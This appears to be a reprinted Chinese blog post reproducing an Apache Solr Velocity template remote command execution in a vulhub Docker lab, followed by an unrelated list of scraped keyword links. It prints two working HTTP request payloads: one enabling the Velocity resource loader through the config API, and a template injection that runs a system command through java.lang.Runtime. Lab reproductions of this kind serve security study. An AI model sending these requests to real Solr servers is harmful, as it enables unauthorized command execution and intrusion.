Apache Solr远程命令如何进行执行复现
发表于:2025-02-05 作者:千家信息网编辑
千家信息网最后更新 2025年02月05日,这篇文章给大家介绍Apache Solr远程命令如何进行执行复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。蹭个热度,复现一波:Apache Solr远程命令执行漏洞。环境可以
千家信息网最后更新 2025年02月05日Apache Solr远程命令如何进行执行复现
这篇文章给大家介绍Apache Solr远程命令如何进行执行复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
蹭个热度,复现一波:Apache Solr远程命令执行漏洞。
环境可以使用/vulhub/solr/CVE-2019-0193/的环境,进入目录后直接 docker-compose up -d 如下:
接着访问对应地址可以看到,搭建好的镜像是没有集合的,所以我们需要自行创建一个集合:
通过 docker exec -it 容器ID /bin/bash 进入容器后执行:./solr create -c solr_sample 创建集合如下:
可以从重新浏览器访问一下solr admin,查看集合是否创建成功:
确认成功后即可先通过bp向对应路径发送请求修改params.resource.loader.enabled配置为true,请求如下:
修改完配置以后通过poc即可执行任意命令如图:
相关poc如下:
//修改配置poc
POST /solr/集合名/config HTTP/1.1
Host: 192.168.119.134:8983
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
//远程代码执行poc
GET /solr/solr_sample/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983
Host: 192.168.119.134:8983
Content-Length: 0
关于Apache Solr远程命令如何进行执行复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
命令
配置
成功
内容
容器
更多
环境
帮助
不错
代码
兴趣
地址
小伙
小伙伴
文章
浏览器
漏洞
热度
目录
知识
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
计标机网络技术
windows服务器与管理
数据库课设学生学费管理系统
北京web前端软件开发
像网络技术型人才怎么招聘
恩施穆然网络技术有限公司
江西理工无线网络技术考试
果洛软件开发怎么用
与全县招商项目数据库
pkpm怎么导入测量数据库
医院信息管理数据库企划书
计算机网络安全防范案例
数据库的数据模型有
学软件开发都需要些什么
添加数据库的语句
联想服务器关机后如何开机
中国联通未来网络技术
网络安全手抄报内容
名模网络技术
开云集团网络安全
国泰安数据库的频率是季度
浈江区千鼎网络技术服务部
怎样用服务器抢票
金麒麟软件开发团队
智慧树知到数据库技术答案
jdbc怎样连接到数据库
镇江新区平昌网络技术有限公司
Android软件开发指南
软件开发人员的日常
静语软件开发公司